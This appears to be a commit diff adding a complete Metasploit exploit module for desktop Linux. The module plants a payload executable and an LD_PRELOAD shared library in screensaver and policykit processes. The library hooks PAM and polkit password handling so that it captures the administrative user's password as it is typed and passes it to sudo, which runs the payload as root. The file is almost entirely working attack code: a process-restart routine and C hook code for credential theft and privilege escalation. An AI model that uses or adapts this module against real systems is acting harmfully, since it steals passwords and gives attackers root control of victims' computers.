|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | +require 'rex' |
| 8 | +require 'msf/core/exploit/exe' |
| 9 | +require 'base64' |
| 10 | +require 'metasm' |
| 11 | + |
| 12 | +class Metasploit4 < Msf::Exploit::Local |
| 13 | + Rank = ExcellentRanking |
| 14 | + include Msf::Exploit::EXE |
| 15 | + include Msf::Post::File |
| 16 | + |
| 17 | + def initialize(info={}) |
| 18 | + super( update_info( info, { |
| 19 | + 'Name' => 'Desktop Linux Password Stealer and Privilege Escalation', |
| 20 | + 'Description' => %q{ |
| 21 | + This module steals the user password of an administrative user on a desktop Linux system |
| 22 | + when it is entered for unlocking the screen or for doing administrative actions using |
| 23 | + policykit. Then it escalates to root privileges using sudo and the stolen user password. |
| 24 | + It exploits the design weakness that there is no trusted channell for transferring the |
| 25 | + password from the keyboard to the actual password verificatition against the shadow file |
| 26 | + (which is running as root since /etc/shadow is only readable to the root user). Both |
| 27 | + screensavers (xscreensaver/gnome-screensaver) and policykit use a component running under |
| 28 | + the current user account to query for the password and then pass it to a setuid-root binary |
| 29 | + to do the password verification. Therefore it is possible to inject a password stealer |
| 30 | + after compromising the user account. Since sudo requires only the user password (and not |
| 31 | + the root password of the system), stealing the user password of an administrative user |
| 32 | + directly allows escalating to root privileges. Please note that you have to start a handler |
| 33 | + as a background job before running this exploit since the exploit will only create a shell |
| 34 | + when the user actually enters the password (which may be hours after launching the exploit). |
| 35 | + Using exploit/multi/handler with the option ExitOnSession set to false should do the job. |
| 36 | + }, |
| 37 | + 'License' => MSF_LICENSE, |
| 38 | + 'Author' => ['Jakob Lell'], |
| 39 | + 'DisclosureDate' => 'Aug 7 2014', |
| 40 | + 'Platform' => 'linux', |
| 41 | + 'Arch' => [ARCH_X86, ARCH_X86_64], |
| 42 | + 'SessionTypes' => ['shell', 'meterpreter'], |
| 43 | + 'Targets' => |
| 44 | + [ |
| 45 | + ['Linux x86', {'Arch' => ARCH_X86}], |
| 46 | + ['Linux x86_64', {'Arch' => ARCH_X86_64}] |
| 47 | + ], |
| 48 | + 'DefaultOptions' => |
| 49 | + { |
| 50 | + 'PrependSetresuid' => true, |
| 51 | + 'PrependFork' => true, |
| 52 | + 'DisablePayloadHandler' => true |
| 53 | + }, |
| 54 | + 'DefaultTarget' => 0, |
| 55 | + } |
| 56 | + )) |
| 57 | + |
| 58 | + register_options([ |
| 59 | + OptString.new('WritableDir', [true, 'A directory for storing temporary files on the target system', '/tmp']), |
| 60 | + ], self.class) |
| 61 | + end |
| 62 | + |
| 63 | + def check |
| 64 | + check_command = 'if which perl && ' |
| 65 | + check_command << 'which sudo && ' |
| 66 | + check_command << 'id|grep -E \'sudo|adm\' && ' |
| 67 | + check_command << 'pidof xscreensaver gnome-screensaver polkit-gnome-authentication-agent-1;' |
| 68 | + check_command << 'then echo OK;' |
| 69 | + check_command << 'fi' |
| 70 | + |
| 71 | + output = cmd_exec(check_command).gsub("\r", '') |
| 72 | + |
| 73 | + vprint_status(output) |
| 74 | + |
| 75 | + if output['OK'] == 'OK' |
| 76 | + return Exploit::CheckCode::Vulnerable |
| 77 | + end |
| 78 | + |
| 79 | + Exploit::CheckCode::Safe |
| 80 | + end |
| 81 | + |
| 82 | + def exploit |
| 83 | + # Cannot use generic/shell_reverse_tcp inside an elf |
| 84 | + # Checking before proceeds |
| 85 | + pl = generate_payload_exe |
| 86 | + if pl.blank? |
| 87 | + fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Failed to store payload inside executable, please select a native payload") |
| 88 | + end |
| 89 | + |
| 90 | + exe_file = "#{datastore['WritableDir']}/#{rand_text_alpha(3 + rand(5))}.elf" |
| 91 | + |
| 92 | + print_status("Writing payload executable to '#{exe_file}'") |
| 93 | + write_file(exe_file, pl) |
| 94 | + cmd_exec("chmod +x #{exe_file}") |
| 95 | + |
| 96 | + |
| 97 | + cpu = nil |
| 98 | + if target['Arch'] == ARCH_X86 |
| 99 | + cpu = Metasm::Ia32.new |
| 100 | + elsif target['Arch'] == ARCH_X86_64 |
| 101 | + cpu = Metasm::X86_64.new |
| 102 | + end |
| 103 | + lib_data = Metasm::ELF.compile_c(cpu, c_code(exe_file)).encode_string(:lib) |
| 104 | + lib_file = "#{datastore['WritableDir']}/#{rand_text_alpha(3 + rand(5))}.so" |
| 105 | + |
| 106 | + print_status("Writing lib file to '#{lib_file}'") |
| 107 | + write_file(lib_file,lib_data) |
| 108 | + |
| 109 | + print_status('Restarting processes (screensaver/policykit)') |
| 110 | + restart_commands = get_restart_commands |
| 111 | + restart_commands.each do |cmd| |
| 112 | + cmd['LD_PRELOAD_PLACEHOLDER'] = lib_file |
| 113 | + cmd_exec(cmd) |
| 114 | + end |
| 115 | + print_status('The exploit module has finished. However, getting a shell will probably take a while (until the user actually enters the password). Remember to keep a handler running.') |
| 116 | + end |
| 117 | + |
| 118 | + def get_restart_commands |
| 119 | + get_cmd_lines = 'pidof xscreensaver gnome-screensaver polkit-gnome-authentication-agent-1|' |
| 120 | + get_cmd_lines << 'perl -ne \'while(/(\d+)/g){$pid=$1;next unless -r "/proc/$pid/environ";' |
| 121 | + get_cmd_lines << 'print"PID:$pid\nEXE:".readlink("/proc/$pid/exe")."\n";' |
| 122 | + get_cmd_lines << '$/=undef;' |
| 123 | + get_cmd_lines << 'for("cmdline","environ"){open F,"</proc/$pid/$_";print "$_:".unpack("H*",<F>),"\n";}}\'' |
| 124 | + |
| 125 | + text_output = cmd_exec(get_cmd_lines).gsub("\r",'') |
| 126 | + vprint_status(text_output) |
| 127 | + |
| 128 | + lines = text_output.split("\n") |
| 129 | + |
| 130 | + restart_commands = [] |
| 131 | + i=0 |
| 132 | + while i < lines.length - 3 |
| 133 | + m = lines[i].match(/^PID:(\d+)/) |
| 134 | + |
| 135 | + if m |
| 136 | + pid = m[1] |
| 137 | + vprint_status("PID=#{pid}") |
| 138 | + print_status("Found process: " + lines[i+1]) |
| 139 | + |
| 140 | + exe = lines[i+1].match(/^EXE:(\S+)$/)[1] |
| 141 | + vprint_status("exe=#{exe}") |
| 142 | + |
| 143 | + cmdline = [lines[i+2].match(/^cmdline:(\w+)$/)[1]].pack('H*').split("\x00") |
| 144 | + vprint_status("CMDLINE=" + cmdline.join(' XXX ')) |
| 145 | + |
| 146 | + env = lines[i+3].match(/^environ:(\w+)$/)[1] |
| 147 | + restart_command = 'perl -e \'use POSIX setsid;open STDIN,"</dev/null";open STDOUT,">/dev/null";open STDERR,">/dev/null";exit if fork;setsid();' |
| 148 | + restart_command << 'kill(9,' + pid + ')||exit;%ENV=();for(split("\0",pack("H*","' + env + '"))){/([^=]+)=(.*)/;$ENV{$1}=$2}' |
| 149 | + restart_command << '$ENV{"LD_PRELOAD"}="LD_PRELOAD_PLACEHOLDER";exec {"' + exe + '"} ' + cmdline.map{|x| '"' + x + '"'}.join(", ") + '\'' |
| 150 | + |
| 151 | + vprint_status("RESTART: #{restart_command}") |
| 152 | + restart_commands.push(restart_command) |
| 153 | + end |
| 154 | + |
| 155 | + i+=1 |
| 156 | + end |
| 157 | + |
| 158 | + restart_commands |
| 159 | + end |
| 160 | + |
| 161 | + def c_code(exe_file) |
| 162 | + c = %Q| |
| 163 | +// A few constants/function definitions/structs copied from header files |
| 164 | +#define RTLD_NEXT ((void *) -1l) |
| 165 | +extern uintptr_t dlsym(uintptr_t, char*); |
| 166 | +// Define some structs to void so that we can ignore all dependencies from these structs |
| 167 | +#define FILE void |
| 168 | +#define pam_handle_t void |
| 169 | +extern FILE *popen(const char *command, const char *type); |
| 170 | +extern int pclose(FILE *stream); |
| 171 | +extern int fprintf(FILE *stream, const char *format, ...); |
| 172 | +extern char *strstr(const char *haystack, const char *needle); |
| 173 | +extern void *malloc(unsigned int size); |
| 174 | +
|
| 175 | +struct pam_message { |
| 176 | + int msg_style; |
| 177 | + const char *msg; |
| 178 | + }; |
| 179 | +
|
| 180 | +struct pam_response { |
| 181 | + char *resp; |
| 182 | + int resp_retcode; |
| 183 | +}; |
| 184 | +
|
| 185 | +struct pam_conv { |
| 186 | + int (*conv)(int num_msg, const struct pam_message **msg, |
| 187 | + struct pam_response **resp, void *appdata_ptr); |
| 188 | + void *appdata_ptr; |
| 189 | +}; |
| 190 | +
|
| 191 | +void run_sudo(char* password) { |
| 192 | + FILE* sudo = popen("sudo -S #{exe_file}", "w"); |
| 193 | + fprintf(sudo,"%s\\n",password); |
| 194 | + pclose(sudo); |
| 195 | +} |
| 196 | +
|
| 197 | +int my_conv(int num_msg, const struct pam_message **msg, struct pam_response **resp, void *appdata_ptr) { |
| 198 | + struct pam_conv *orig_pam_conversation = (struct pam_conv *)appdata_ptr; |
| 199 | + int i; |
| 200 | + int passwd_index = -1; |
| 201 | + for(i=0;i<num_msg;i++){ |
| 202 | + if(strstr(msg[i]->msg,"Password") >= 0){ |
| 203 | + passwd_index = i; |
| 204 | + } |
| 205 | + } |
| 206 | + int result = orig_pam_conversation->conv(num_msg, msg, resp, orig_pam_conversation->appdata_ptr); |
| 207 | + if(passwd_index >= 0){ |
| 208 | + run_sudo(resp[passwd_index]->resp); |
| 209 | + } |
| 210 | + return result; |
| 211 | +} |
| 212 | +
|
| 213 | +int pam_start(const char *service_name, const char *user, const struct pam_conv *pam_conversation, pam_handle_t **pamh) __attribute__((export)) { |
| 214 | + static int (*orig_pam_start)(const char *service_name, const char *user, const struct pam_conv *pam_conversation, pam_handle_t **pamh); |
| 215 | + if(!orig_pam_start){ |
| 216 | + orig_pam_start = dlsym(RTLD_NEXT,"pam_start"); |
| 217 | + } |
| 218 | + struct pam_conv *my_pam_conversation = malloc(sizeof(struct pam_conv)); |
| 219 | + my_pam_conversation->conv = &my_conv; |
| 220 | + my_pam_conversation->appdata_ptr = (struct pam_conv *)pam_conversation; |
| 221 | + return orig_pam_start(service_name, user, my_pam_conversation, pamh); |
| 222 | +} |
| 223 | +
|
| 224 | +void polkit_agent_session_response (void *session, char *response) __attribute__((export)) { |
| 225 | + static void *(*orig_polkit_agent_session_response)(void *session, char* response); |
| 226 | + if(!orig_polkit_agent_session_response){ |
| 227 | + orig_polkit_agent_session_response = dlsym(RTLD_NEXT,"polkit_agent_session_response"); |
| 228 | + } |
| 229 | + run_sudo(response); |
| 230 | + orig_polkit_agent_session_response(session, response); |
| 231 | + return; |
| 232 | +} |
| 233 | +| |
| 234 | + c |
| 235 | + end |
| 236 | +end |
| 237 | + |
0 commit comments